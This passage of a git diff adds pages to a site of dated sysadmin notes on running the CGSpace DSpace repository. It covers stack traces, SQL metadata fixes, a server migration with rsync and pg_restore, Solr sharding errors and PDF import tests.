+Caused by: java.lang.NoSuchMethodError: com.atmire.statistics.generator.DSpaceObjectDatasetGenerator.toDatasetQuery(Lorg/dspace/core/Context;)Lcom/atmire/statistics/content/DatasetQuery;
+	at com.atmire.statistics.generator.TopNDSODatasetGenerator.toDatasetQuery(SourceFile:39)
+	at com.atmire.statistics.display.StatisticsDataVisitsMultidata.createDataset(SourceFile:108)
+	at org.dspace.statistics.content.StatisticsDisplay.createDataset(SourceFile:384)
+	at org.dspace.statistics.content.StatisticsDisplay.getDataset(SourceFile:404)
+	at com.atmire.statistics.mostpopular.JSONStatsMostPopularGenerator.generateJsonData(SourceFile:170)
+	at com.atmire.statistics.mostpopular.JSONStatsMostPopularGenerator.generate(SourceFile:246)
+	at com.atmire.app.xmlui.aspect.statistics.JSONStatsMostPopular.generate(JSONStatsMostPopular.java:145)
+	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+
    +
  • It happens on development and production, so I will have to ask Atmire
    • +
  • Most likely an issue with installation/configuration
    • +
+

2016-12-14

+
    +
  • Atmire sent a quick fix for the last-update.txt file not found error
    • +
  • After applying pull request #291 on DSpace Test I no longer see the error in the logs after the UpdateSolrStorageReports task runs
    • +
  • Also, I’m toying with the idea of moving the tomcat7 user’s cron jobs to /etc/cron.d so we can manage them in Ansible
    • +
  • Made a pull request with a template for the cron jobs (#75)
    • +
  • Testing SMTP from the new CGSpace server and it’s not working, I’ll have to tell James
    • +
+

2016-12-15

+
    +
  • Start planning for server migration this weekend, letting users know
    • +
  • I am trying to figure out what the process is to update the server’s IP in the Handle system, and emailing the hdladmin account bounces(!)
    • +
  • I will contact the Jane Euler directly as I know I’ve corresponded with her in the past
    • +
  • She said that I should indeed just re-run the [dspace]/bin/dspace make-handle-config command and submit the new sitebndl.zip file to the CNRI website
    • +
  • Also I was troubleshooting some workflow issues from Bizuwork
    • +
  • I re-created the same scenario by adding a non-admin account and submitting an item, but I was able to successfully approve and commit it
    • +
  • So it turns out it’s not a bug, it’s just that Peter was added as a reviewer/admin AFTER the items were submitted
    • +
  • This is how DSpace works, and I need to ask if there is a way to override someone’s submission, as the other reviewer seems to not be paying attention, or has perhaps taken the item from the task pool?
    • +
  • Run a batch edit to add “RANGELANDS” ILRI subject to all items containing the word “RANGELANDS” in their metadata for Peter Ballantyne
    • +
+

Select all items with &ldquo;rangelands&rdquo; in metadata +Add RANGELANDS ILRI subject

+

2016-12-18

+
    +
  • Add four new CRP subjects for 2017 and sort the input forms alphabetically (#294)
    • +
  • Test the SMTP on the new server and it’s working
    • +
  • Last week, when we asked CGNET to update the DNS records this weekend, they misunderstood and did it immediately
    • +
  • We quickly told them to undo it, but I just realized they didn’t undo the IPv6 AAAA record!
    • +
  • None of our users in African institutes will have IPv6, but some Europeans might, so I need to check if any submissions have been added since then
    • +
  • Update some names and authorities in the database:
    • +
+
dspace=# update metadatavalue set authority='5ff35043-942e-4d0a-b377-4daed6e3c1a3', confidence=600, text_value='Duncan, Alan' where resource_type_id=2 and metadata_field_id=3 and text_value ~ '^.*Duncan,? A.*';
+UPDATE 204
+dspace=# update metadatavalue set authority='46804b53-ea30-4a85-9ccf-b79a35816fa9', confidence=600, text_value='Mekonnen, Kindu' where resource_type_id=2 and metadata_field_id=3 and text_value like '%Mekonnen, K%';
+UPDATE 89
+dspace=# update metadatavalue set authority='f840da02-26e7-4a74-b7ba-3e2b723f3684', confidence=600, text_value='Lukuyu, Ben A.' where resource_type_id=2 and metadata_field_id=3 and text_value like '%Lukuyu, B%';
+UPDATE 140
+
    +
  • Generated a new UUID for Ben using uuidgen | tr [A-Z] [a-z] as the one in Solr had his ORCID but the name format was incorrect
    • +
  • In theory DSpace should be able to check names from ORCID and update the records in the database, but I find that this doesn’t work (see Jira bug DS-3302)
    • +
  • I need to run these updates along with the other one for CIAT that I found last week
    • +
  • Enable OCSP stapling for hosts >= Ubuntu 16.04 in our Ansible playbooks (#76)
    • +
  • Working for DSpace Test on the second response:
    • +
+
$ openssl s_client -connect dspacetest.cgiar.org:443 -servername dspacetest.cgiar.org -tls1_2 -tlsextdebug -status
+...
+OCSP response: no response sent
+$ openssl s_client -connect dspacetest.cgiar.org:443 -servername dspacetest.cgiar.org -tls1_2 -tlsextdebug -status
+...
+OCSP Response Data:
+...
+    Cert Status: good
+
    +
  • Migrate CGSpace to new server, roughly following these steps:
    • +
  • On old server:
    • +
+
# service tomcat7 stop
+# /home/backup/scripts/postgres_backup.sh
+
    +
  • On new server:
    • +
+
# systemctl stop tomcat7
+# rsync -4 -av --delete 178.79.187.182:/home/cgspace.cgiar.org/assetstore/ /home/cgspace.cgiar.org/assetstore/
+# rsync -4 -av --delete 178.79.187.182:/home/backup/ /home/backup/
+# rsync -4 -av --delete 178.79.187.182:/home/cgspace.cgiar.org/solr/ /home/cgspace.cgiar.org/solr
+# su - postgres
+$ dropdb cgspace
+$ createdb -O cgspace --encoding=UNICODE cgspace
+$ psql cgspace -c 'alter user cgspace createuser;'
+$ pg_restore -O -U cgspace -d cgspace -W -h localhost /home/backup/postgres/cgspace_2016-12-18.backup
+$ psql cgspace -c 'alter user cgspace nocreateuser;'
+$ psql -U cgspace -f ~tomcat7/src/git/DSpace/dspace/etc/postgres/update-sequences.sql cgspace -h localhost
+$ vacuumdb cgspace
+$ psql cgspace
+postgres=# \i /tmp/author-authority-updates-2016-12-11.sql
+postgres=# \q
+$ exit
+# chown -R tomcat7:tomcat7 /home/cgspace.cgiar.org
+# rsync -4 -av 178.79.187.182:/home/cgspace.cgiar.org/log/*.dat /home/cgspace.cgiar.org/log/
+# rsync -4 -av 178.79.187.182:/home/cgspace.cgiar.org/log/dspace.log.2016-1[12]* /home/cgspace.cgiar.org/log/
+# su - tomcat7
+$ cd src/git/DSpace/dspace/target/dspace-installer
+$ ant update clean_backups
+$ exit
+# systemctl start tomcat7
+
    +
  • It took about twenty minutes and afterwards I had to check a few things, like: +
      +
    • check and enable systemd timer for let’s encrypt
      • +
    • enable root cron jobs
      • +
    • disable root cron jobs on old server after!
      • +
    • enable tomcat7 cron jobs
      • +
    • disable tomcat7 cron jobs on old server after!
      • +
    • regenerate sitebndl.zip with new IP for handle server and submit it to Handle.net
      • +
    +
    • +
+

2016-12-22

+
    +
  • Abenet wanted a CSV of the IITA community, but the web export doesn’t include the dc.date.accessioned field
    • +
  • I had to export it from the command line using the -a flag:
    • +
+
$ [dspace]/bin/dspace metadata-export -a -f /tmp/iita.csv -i 10568/68616
+

2016-12-28

+
    +
  • We’ve been getting two alerts per day about CPU usage on the new server from Linode
    • +
  • These are caused by the batch jobs for Solr etc that run in the early morning hours
    • +
  • The Linode default is to alert at 90% CPU usage for two hours, but I see the old server was at 150%, so maybe we just need to adjust it
    • +
  • Speaking of the old server (linode01), I think we can decommission it now
    • +
  • I checked the S3 logs on the new server (linode18) to make sure the backups have been running and everything looks good
    • +
  • In other news, I was looking at the Munin graphs for PostgreSQL on the new server and it looks slightly worrying:
    • +
+

munin postgres stats

+
    +
  • I will have to check later why the size keeps increasing
    • +
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2016/01/xmlui-subjects-after.png b/docs/2016/01/xmlui-subjects-after.png new file mode 100644 index 000000000..bce717356 Binary files /dev/null and b/docs/2016/01/xmlui-subjects-after.png differ diff --git a/docs/2016/01/xmlui-subjects-before.png b/docs/2016/01/xmlui-subjects-before.png new file mode 100644 index 000000000..3664c12e6 Binary files /dev/null and b/docs/2016/01/xmlui-subjects-before.png differ diff --git a/docs/2016/02/cgspace-countries.png b/docs/2016/02/cgspace-countries.png new file mode 100644 index 000000000..0070f09c8 Binary files /dev/null and b/docs/2016/02/cgspace-countries.png differ diff --git a/docs/2016/02/submit-button-drylands.png b/docs/2016/02/submit-button-drylands.png new file mode 100644 index 000000000..eea073186 Binary files /dev/null and b/docs/2016/02/submit-button-drylands.png differ diff --git a/docs/2016/02/submit-button-ilri.png b/docs/2016/02/submit-button-ilri.png new file mode 100644 index 000000000..7b2064904 Binary files /dev/null and b/docs/2016/02/submit-button-ilri.png differ diff --git a/docs/2016/03/bioversity-thumbnail-bad.jpg b/docs/2016/03/bioversity-thumbnail-bad.jpg new file mode 100644 index 000000000..53e7ed35f Binary files /dev/null and b/docs/2016/03/bioversity-thumbnail-bad.jpg differ diff --git a/docs/2016/03/bioversity-thumbnail-good.jpg b/docs/2016/03/bioversity-thumbnail-good.jpg new file mode 100644 index 000000000..02a6e8313 Binary files /dev/null and b/docs/2016/03/bioversity-thumbnail-good.jpg differ diff --git a/docs/2016/03/cua-label-mixup.png b/docs/2016/03/cua-label-mixup.png new file mode 100644 index 000000000..faff0b308 Binary files /dev/null and b/docs/2016/03/cua-label-mixup.png differ diff --git a/docs/2016/03/google-index.png b/docs/2016/03/google-index.png new file mode 100644 index 000000000..a02c5fe96 Binary files /dev/null and b/docs/2016/03/google-index.png differ diff --git a/docs/2016/03/missing-xmlui-string.png b/docs/2016/03/missing-xmlui-string.png new file mode 100644 index 000000000..7119dcfd3 Binary files /dev/null and b/docs/2016/03/missing-xmlui-string.png differ diff --git a/docs/2016/03/url-parameters.png b/docs/2016/03/url-parameters.png new file mode 100644 index 000000000..27aeb1e6d Binary files /dev/null and b/docs/2016/03/url-parameters.png differ diff --git a/docs/2016/03/url-parameters2.png b/docs/2016/03/url-parameters2.png new file mode 100644 index 000000000..39ab4d681 Binary files /dev/null and b/docs/2016/03/url-parameters2.png differ diff --git a/docs/2016/05/discovery-types.png b/docs/2016/05/discovery-types.png new file mode 100644 index 000000000..5652cb554 Binary files /dev/null and b/docs/2016/05/discovery-types.png differ diff --git a/docs/2016/06/xmlui-altmetric-sharing.png b/docs/2016/06/xmlui-altmetric-sharing.png new file mode 100644 index 000000000..594cf3dd7 Binary files /dev/null and b/docs/2016/06/xmlui-altmetric-sharing.png differ diff --git a/docs/2016/07/cgspace-about-page.png b/docs/2016/07/cgspace-about-page.png new file mode 100644 index 000000000..483fc860e Binary files /dev/null and b/docs/2016/07/cgspace-about-page.png differ diff --git a/docs/2016/08/dspace55-ubuntu16.04.png b/docs/2016/08/dspace55-ubuntu16.04.png new file mode 100644 index 000000000..0026da85c Binary files /dev/null and b/docs/2016/08/dspace55-ubuntu16.04.png differ diff --git a/docs/2016/08/nodejs-nginx.png b/docs/2016/08/nodejs-nginx.png new file mode 100644 index 000000000..077b174f2 Binary files /dev/null and b/docs/2016/08/nodejs-nginx.png differ diff --git a/docs/2016/09/cgspace-search.png b/docs/2016/09/cgspace-search.png new file mode 100644 index 000000000..5321987bc Binary files /dev/null and b/docs/2016/09/cgspace-search.png differ diff --git a/docs/2016/09/dspacetest-search.png b/docs/2016/09/dspacetest-search.png new file mode 100644 index 000000000..c085aec6d Binary files /dev/null and b/docs/2016/09/dspacetest-search.png differ diff --git a/docs/2016/09/google-webmaster-tools-index.png b/docs/2016/09/google-webmaster-tools-index.png new file mode 100644 index 000000000..bf5aa6e20 Binary files /dev/null and b/docs/2016/09/google-webmaster-tools-index.png differ diff --git a/docs/2016/09/ilri-ldap-users.png b/docs/2016/09/ilri-ldap-users.png new file mode 100644 index 000000000..39ebd3766 Binary files /dev/null and b/docs/2016/09/ilri-ldap-users.png differ diff --git a/docs/2016/09/tomcat_jvm-day.png b/docs/2016/09/tomcat_jvm-day.png new file mode 100644 index 000000000..5eedce2a1 Binary files /dev/null and b/docs/2016/09/tomcat_jvm-day.png differ diff --git a/docs/2016/09/tomcat_jvm-month.png b/docs/2016/09/tomcat_jvm-month.png new file mode 100644 index 000000000..2dae49337 Binary files /dev/null and b/docs/2016/09/tomcat_jvm-month.png differ diff --git a/docs/2016/09/tomcat_jvm-week.png b/docs/2016/09/tomcat_jvm-week.png new file mode 100644 index 000000000..9e9b24fab Binary files /dev/null and b/docs/2016/09/tomcat_jvm-week.png differ diff --git a/docs/2016/10/bootstrap-issue.png b/docs/2016/10/bootstrap-issue.png new file mode 100644 index 000000000..bf8c73b64 Binary files /dev/null and b/docs/2016/10/bootstrap-issue.png differ diff --git a/docs/2016/10/cgspace-icons.png b/docs/2016/10/cgspace-icons.png new file mode 100644 index 000000000..f2053e6d7 Binary files /dev/null and b/docs/2016/10/cgspace-icons.png differ diff --git a/docs/2016/10/cmyk-vs-srgb.jpg b/docs/2016/10/cmyk-vs-srgb.jpg new file mode 100644 index 000000000..2ff62cef6 Binary files /dev/null and b/docs/2016/10/cmyk-vs-srgb.jpg differ diff --git a/docs/2016/10/dspacetest-fontawesome-icons.png b/docs/2016/10/dspacetest-fontawesome-icons.png new file mode 100644 index 000000000..594cc948d Binary files /dev/null and b/docs/2016/10/dspacetest-fontawesome-icons.png differ diff --git a/docs/2016/11/dspacetest-tomcat-jvm-day.png b/docs/2016/11/dspacetest-tomcat-jvm-day.png new file mode 100644 index 000000000..422b70166 Binary files /dev/null and b/docs/2016/11/dspacetest-tomcat-jvm-day.png differ diff --git a/docs/2016/11/dspacetest-tomcat-jvm-week.png b/docs/2016/11/dspacetest-tomcat-jvm-week.png new file mode 100644 index 000000000..6dcd2c253 Binary files /dev/null and b/docs/2016/11/dspacetest-tomcat-jvm-week.png differ diff --git a/docs/2016/11/listings-and-reports-55.png b/docs/2016/11/listings-and-reports-55.png new file mode 100644 index 000000000..d0dcbaad0 Binary files /dev/null and b/docs/2016/11/listings-and-reports-55.png differ diff --git a/docs/2016/11/listings-and-reports.png b/docs/2016/11/listings-and-reports.png new file mode 100644 index 000000000..33709af07 Binary files /dev/null and b/docs/2016/11/listings-and-reports.png differ diff --git a/docs/2016/12/batch-edit1.png b/docs/2016/12/batch-edit1.png new file mode 100644 index 000000000..dd97e271b Binary files /dev/null and b/docs/2016/12/batch-edit1.png differ diff --git a/docs/2016/12/batch-edit2.png b/docs/2016/12/batch-edit2.png new file mode 100644 index 000000000..b6a49aad3 Binary files /dev/null and b/docs/2016/12/batch-edit2.png differ diff --git a/docs/2016/12/postgres_bgwriter-week-2016-12-13.png b/docs/2016/12/postgres_bgwriter-week-2016-12-13.png new file mode 100644 index 000000000..f3e8357af Binary files /dev/null and b/docs/2016/12/postgres_bgwriter-week-2016-12-13.png differ diff --git a/docs/2016/12/postgres_bgwriter-week.png b/docs/2016/12/postgres_bgwriter-week.png new file mode 100644 index 000000000..2abcbcaf0 Binary files /dev/null and b/docs/2016/12/postgres_bgwriter-week.png differ diff --git a/docs/2016/12/postgres_connections_ALL-week-2016-12-13.png b/docs/2016/12/postgres_connections_ALL-week-2016-12-13.png new file mode 100644 index 000000000..0373d7002 Binary files /dev/null and b/docs/2016/12/postgres_connections_ALL-week-2016-12-13.png differ diff --git a/docs/2016/12/postgres_connections_ALL-week.png b/docs/2016/12/postgres_connections_ALL-week.png new file mode 100644 index 000000000..fc9cd3276 Binary files /dev/null and b/docs/2016/12/postgres_connections_ALL-week.png differ diff --git a/docs/2016/12/postgres_size_ALL-week.png b/docs/2016/12/postgres_size_ALL-week.png new file mode 100644 index 000000000..e2a6dabec Binary files /dev/null and b/docs/2016/12/postgres_size_ALL-week.png differ diff --git a/docs/2017-01/index.html b/docs/2017-01/index.html new file mode 100644 index 000000000..bf42724a7 --- /dev/null +++ b/docs/2017-01/index.html @@ -0,0 +1,423 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + January, 2017 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

January, 2017

+

+ + in + +  + +

+
+

2017-01-02

+
    +
  • I checked to see if the Solr sharding task that is supposed to run on January 1st had run and saw there was an error
    • +
  • I tested on DSpace Test as well and it doesn’t work there either
    • +
  • I asked on the dspace-tech mailing list because it seems to be broken, and actually now I’m not sure if we’ve ever had the sharding task run successfully over all these years
    • +
+

2017-01-04

+
    +
  • I tried to shard my local dev instance and it fails the same way:
    • +
+
$ JAVA_OPTS="-Xms768m -Xmx768m -Dfile.encoding=UTF-8" ~/dspace/bin/dspace stats-util -s
+Moving: 9318 into core statistics-2016
+Exception: IOException occured when talking to server at: http://localhost:8081/solr//statistics-2016
+org.apache.solr.client.solrj.SolrServerException: IOException occured when talking to server at: http://localhost:8081/solr//statistics-2016
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.executeMethod(HttpSolrServer.java:566)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:210)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:206)
+        at org.dspace.statistics.SolrLogger.shardSolrIndex(SourceFile:2291)
+        at org.dspace.statistics.util.StatisticsClient.main(StatisticsClient.java:106)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:226)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:78)
+Caused by: org.apache.http.client.ClientProtocolException
+        at org.apache.http.impl.client.AbstractHttpClient.doExecute(AbstractHttpClient.java:867)
+        at org.apache.http.impl.client.CloseableHttpClient.execute(CloseableHttpClient.java:82)
+        at org.apache.http.impl.client.CloseableHttpClient.execute(CloseableHttpClient.java:106)
+        at org.apache.http.impl.client.CloseableHttpClient.execute(CloseableHttpClient.java:57)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.executeMethod(HttpSolrServer.java:448)
+        ... 10 more
+Caused by: org.apache.http.client.NonRepeatableRequestException: Cannot retry request with a non-repeatable request entity.  The cause lists the reason the original request failed.
+        at org.apache.http.impl.client.DefaultRequestDirector.tryExecute(DefaultRequestDirector.java:659)
+        at org.apache.http.impl.client.DefaultRequestDirector.execute(DefaultRequestDirector.java:487)
+        at org.apache.http.impl.client.AbstractHttpClient.doExecute(AbstractHttpClient.java:863)
+        ... 14 more
+Caused by: java.net.SocketException: Broken pipe (Write failed)
+        at java.net.SocketOutputStream.socketWrite0(Native Method)
+        at java.net.SocketOutputStream.socketWrite(SocketOutputStream.java:109)
+        at java.net.SocketOutputStream.write(SocketOutputStream.java:153)
+        at org.apache.http.impl.io.AbstractSessionOutputBuffer.write(AbstractSessionOutputBuffer.java:181)
+        at org.apache.http.impl.io.ChunkedOutputStream.flushCacheWithAppend(ChunkedOutputStream.java:124)
+        at org.apache.http.impl.io.ChunkedOutputStream.write(ChunkedOutputStream.java:181)
+        at org.apache.http.entity.InputStreamEntity.writeTo(InputStreamEntity.java:132)
+        at org.apache.http.entity.HttpEntityWrapper.writeTo(HttpEntityWrapper.java:89)
+        at org.apache.http.impl.client.EntityEnclosingRequestWrapper$EntityWrapper.writeTo(EntityEnclosingRequestWrapper.java:108)
+        at org.apache.http.impl.entity.EntitySerializer.serialize(EntitySerializer.java:117)
+        at org.apache.http.impl.AbstractHttpClientConnection.sendRequestEntity(AbstractHttpClientConnection.java:265)
+        at org.apache.http.impl.conn.ManagedClientConnectionImpl.sendRequestEntity(ManagedClientConnectionImpl.java:203)
+        at org.apache.http.protocol.HttpRequestExecutor.doSendRequest(HttpRequestExecutor.java:236)
+        at org.apache.http.protocol.HttpRequestExecutor.execute(HttpRequestExecutor.java:121)
+        at org.apache.http.impl.client.DefaultRequestDirector.tryExecute(DefaultRequestDirector.java:685)
+        ... 16 more
+
    +
  • And the DSpace log shows:
    • +
+
2017-01-04 22:39:05,412 INFO  org.dspace.statistics.SolrLogger @ Created core with name: statistics-2016
+2017-01-04 22:39:05,412 INFO  org.dspace.statistics.SolrLogger @ Moving: 9318 records into core statistics-2016
+2017-01-04 22:39:07,310 INFO  org.apache.http.impl.client.SystemDefaultHttpClient @ I/O exception (java.net.SocketException) caught when processing request to {}->http://localhost:8081: Broken pipe (Write failed)
+2017-01-04 22:39:07,310 INFO  org.apache.http.impl.client.SystemDefaultHttpClient @ Retrying request to {}->http://localhost:8081
+
    +
  • Despite failing instantly, a statistics-2016 directory was created, but it only has a data dir (no conf)
    • +
  • The Tomcat access logs show more:
    • +
+
127.0.0.1 - - [04/Jan/2017:22:39:05 +0200] "GET /solr/statistics/select?q=type%3A2+AND+id%3A1&wt=javabin&version=2 HTTP/1.1" 200 107
+127.0.0.1 - - [04/Jan/2017:22:39:05 +0200] "GET /solr/statistics/select?q=*%3A*&rows=0&facet=true&facet.range=time&facet.range.start=NOW%2FYEAR-17YEARS&facet.range.end=NOW%2FYEAR%2B0YEARS&facet.range.gap=%2B1YEAR&facet.mincount=1&wt=javabin&version=2 HTTP/1.1" 200 423
+127.0.0.1 - - [04/Jan/2017:22:39:05 +0200] "GET /solr/admin/cores?action=STATUS&core=statistics-2016&indexInfo=true&wt=javabin&version=2 HTTP/1.1" 200 77
+127.0.0.1 - - [04/Jan/2017:22:39:05 +0200] "GET /solr/admin/cores?action=CREATE&name=statistics-2016&instanceDir=statistics&dataDir=%2FUsers%2Faorth%2Fdspace%2Fsolr%2Fstatistics-2016%2Fdata&wt=javabin&version=2 HTTP/1.1" 200 63
+127.0.0.1 - - [04/Jan/2017:22:39:07 +0200] "GET /solr/statistics/select?csv.mv.separator=%7C&q=*%3A*&fq=time%3A%28%5B2016%5C-01%5C-01T00%5C%3A00%5C%3A00Z+TO+2017%5C-01%5C-01T00%5C%3A00%5C%3A00Z%5D+NOT+2017%5C-01%5C-01T00%5C%3A00%5C%3A00Z%29&rows=10000&wt=csv HTTP/1.1" 200 4359517
+127.0.0.1 - - [04/Jan/2017:22:39:07 +0200] "GET /solr/statistics/admin/luke?show=schema&wt=javabin&version=2 HTTP/1.1" 200 16248
+127.0.0.1 - - [04/Jan/2017:22:39:07 +0200] "POST /solr//statistics-2016/update/csv?commit=true&softCommit=false&waitSearcher=true&f.previousWorkflowStep.split=true&f.previousWorkflowStep.separator=%7C&f.previousWorkflowStep.encapsulator=%22&f.actingGroupId.split=true&f.actingGroupId.separator=%7C&f.actingGroupId.encapsulator=%22&f.containerCommunity.split=true&f.containerCommunity.separator=%7C&f.containerCommunity.encapsulator=%22&f.range.split=true&f.range.separator=%7C&f.range.encapsulator=%22&f.containerItem.split=true&f.containerItem.separator=%7C&f.containerItem.encapsulator=%22&f.p_communities_map.split=true&f.p_communities_map.separator=%7C&f.p_communities_map.encapsulator=%22&f.ngram_query_search.split=true&f.ngram_query_search.separator=%7C&f.ngram_query_search.encapsulator=%22&f.containerBitstream.split=true&f.containerBitstream.separator=%7C&f.containerBitstream.encapsulator=%22&f.owningItem.split=true&f.owningItem.separator=%7C&f.owningItem.encapsulator=%22&f.actingGroupParentId.split=true&f.actingGroupParentId.separator=%7C&f.actingGroupParentId.encapsulator=%22&f.text.split=true&f.text.separator=%7C&f.text.encapsulator=%22&f.simple_query_search.split=true&f.simple_query_search.separator=%7C&f.simple_query_search.encapsulator=%22&f.owningComm.split=true&f.owningComm.separator=%7C&f.owningComm.encapsulator=%22&f.owner.split=true&f.owner.separator=%7C&f.owner.encapsulator=%22&f.filterquery.split=true&f.filterquery.separator=%7C&f.filterquery.encapsulator=%22&f.p_group_map.split=true&f.p_group_map.separator=%7C&f.p_group_map.encapsulator=%22&f.actorMemberGroupId.split=true&f.actorMemberGroupId.separator=%7C&f.actorMemberGroupId.encapsulator=%22&f.bitstreamId.split=true&f.bitstreamId.separator=%7C&f.bitstreamId.encapsulator=%22&f.group_name.split=true&f.group_name.separator=%7C&f.group_name.encapsulator=%22&f.p_communities_name.split=true&f.p_communities_name.separator=%7C&f.p_communities_name.encapsulator=%22&f.query.split=true&f.query.separator=%7C&f.query.encapsulator=%22&f.workflowStep.split=true&f.workflowStep.separator=%7C&f.workflowStep.encapsulator=%22&f.containerCollection.split=true&f.containerCollection.separator=%7C&f.containerCollection.encapsulator=%22&f.complete_query_search.split=true&f.complete_query_search.separator=%7C&f.complete_query_search.encapsulator=%22&f.p_communities_id.split=true&f.p_communities_id.separator=%7C&f.p_communities_id.encapsulator=%22&f.rangeDescription.split=true&f.rangeDescription.separator=%7C&f.rangeDescription.encapsulator=%22&f.group_id.split=true&f.group_id.separator=%7C&f.group_id.encapsulator=%22&f.bundleName.split=true&f.bundleName.separator=%7C&f.bundleName.encapsulator=%22&f.ngram_simplequery_search.split=true&f.ngram_simplequery_search.separator=%7C&f.ngram_simplequery_search.encapsulator=%22&f.group_map.split=true&f.group_map.separator=%7C&f.group_map.encapsulator=%22&f.owningColl.split=true&f.owningColl.separator=%7C&f.owningColl.encapsulator=%22&f.p_group_id.split=true&f.p_group_id.separator=%7C&f.p_group_id.encapsulator=%22&f.p_group_name.split=true&f.p_group_name.separator=%7C&f.p_group_name.encapsulator=%22&wt=javabin&version=2 HTTP/1.1" 409 156
+127.0.0.1 - - [04/Jan/2017:22:44:00 +0200] "POST /solr/datatables/update?wt=javabin&version=2 HTTP/1.1" 200 41
+127.0.0.1 - - [04/Jan/2017:22:44:00 +0200] "POST /solr/datatables/update HTTP/1.1" 200 40
+
    +
  • Very interesting… it creates the core and then fails somehow
    • +
+

2017-01-08

+
    +
  • Put Sisay’s item-view.xsl code to show mapped collections on CGSpace (#295)
    • +
+

2017-01-09

+
    +
  • A user wrote to tell me that the new display of an item’s mappings had a crazy bug for at least one item: https://cgspace.cgiar.org/handle/10568/78596
    • +
  • She said she only mapped it once, but it appears to be mapped 184 times
    • +
+

Crazy item mapping

+

2017-01-10

+
    +
  • I tried to clean up the duplicate mappings by exporting the item’s metadata to CSV, editing, and re-importing, but DSpace said “no changes were detected”
    • +
  • I’ve asked on the dspace-tech mailing list to see if anyone can help
    • +
  • I found an old post on the mailing list discussing a similar issue, and listing some SQL commands that might help
    • +
  • For example, this shows 186 mappings for the item, the first three of which are real:
    • +
+
dspace=#  select * from collection2item where item_id = '80596';
+
    +
  • Then I deleted the others:
    • +
+
dspace=# delete from collection2item where item_id = '80596' and id not in (90792, 90806, 90807);
+
    +
  • And in the item view it now shows the correct mappings
    • +
  • I will have to ask the DSpace people if this is a valid approach
    • +
  • Finish looking at the Journal Title corrections of the top 500 Journal Titles so we can make a controlled vocabulary from it
    • +
+

2017-01-11

+ +
Traceback (most recent call last):
+  File "./fix-metadata-values.py", line 80, in <module>
+    print("Fixing {} occurences of: {}".format(records_to_fix, record[0]))
+UnicodeEncodeError: 'ascii' codec can't encode character u'\xe4' in position 15: ordinal not in range(128)
+
    +
  • Seems we need to encode as UTF-8 before printing to screen, ie:
    • +
+
print("Fixing {} occurences of: {}".format(records_to_fix, record[0].encode('utf-8')))
+
    +
  • See: http://stackoverflow.com/a/36427358/487333
    • +
  • I’m actually not sure if we need to encode() the strings to UTF-8 before writing them to the database… I’ve never had this issue before
    • +
  • Now back to cleaning up some journal titles so we can make the controlled vocabulary:
    • +
+
$ ./fix-metadata-values.py -i /tmp/fix-27-journal-titles.csv -f dc.source -t correct -m 55 -d dspace -u dspace -p 'fuuu'
+
    +
  • Now get the top 500 journal titles:
    • +
+
dspace-# \copy (select distinct text_value, count(*) from metadatavalue where resource_type_id=2 and metadata_field_id=55 group by text_value order by count desc limit 500) to /tmp/journal-titles.csv with csv;
+
    +
  • The values are a bit dirty and outdated, since the file I had given to Abenet and Peter was from November
    • +
  • I will have to go through these and fix some more before making the controlled vocabulary
    • +
  • Added 30 more corrections or so, now there are 49 total and I’ll have to get the top 500 after applying them
    • +
+

2017-01-13

+ +

2017-01-16

+
    +
  • Fix the two items Maria found with duplicate mappings with this script:
    • +
+
/* 184 in correct mappings: https://cgspace.cgiar.org/handle/10568/78596 */
+delete from collection2item where item_id = '80596' and id not in (90792, 90806, 90807);
+/* 1 incorrect mapping: https://cgspace.cgiar.org/handle/10568/78658 */
+delete from collection2item where id = '91082';
+

2017-01-17

+
    +
  • Helping clean up some file names in the 232 CIAT records that Sisay worked on last week
    • +
  • There are about 30 files with %20 (space) and Spanish accents in the file name
    • +
  • At first I thought we should fix these, but actually it is prescribed by the W3 working group to convert these to UTF8 and URL encode them!
    • +
  • And the file names don’t really matter either, as long as the SAF Builder tool can read them—after that DSpace renames them with a hash in the assetstore
    • +
  • Seems like the only ones I should replace are the ' apostrophe characters, as %27:
    • +
+
value.replace("'",'%27')
+
    +
  • Add the item’s Type to the filename column as a hint to SAF Builder so it can set a more useful description field:
    • +
+
value + "__description:" + cells["dc.type"].value
+
    +
  • Test importing of the new CIAT records (actually there are 232, not 234):
    • +
+
$ JAVA_OPTS="-Xmx512m -Dfile.encoding=UTF-8" /home/dspacetest.cgiar.org/bin/dspace import --add --eperson=aorth@mjanja.ch --collection=10568/79042 --source /home/aorth/CIAT_234/SimpleArchiveFormat/ --mapfile=/tmp/ciat.map &> /tmp/ciat.log
+
    +
  • Many of the PDFs are 20, 30, 40, 50+ MB, which makes a total of 4GB
    • +
  • These are scanned from paper and likely have no compression, so we should try to test if these compression techniques help without comprimising the quality too much:
    • +
+
$ convert -compress Zip -density 150x150 input.pdf output.pdf
+$ gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/ebook -dNOPAUSE -dQUIET -dBATCH -sOutputFile=output.pdf input.pdf
+
    +
  • Somewhere on the Internet suggested using a DPI of 144
    • +
+

2017-01-19

+
    +
  • In testing a random sample of CIAT’s PDFs for compressability, it looks like all of these methods generally increase the file size so we will just import them as they are
    • +
  • Import 232 CIAT records into CGSpace:
    • +
+
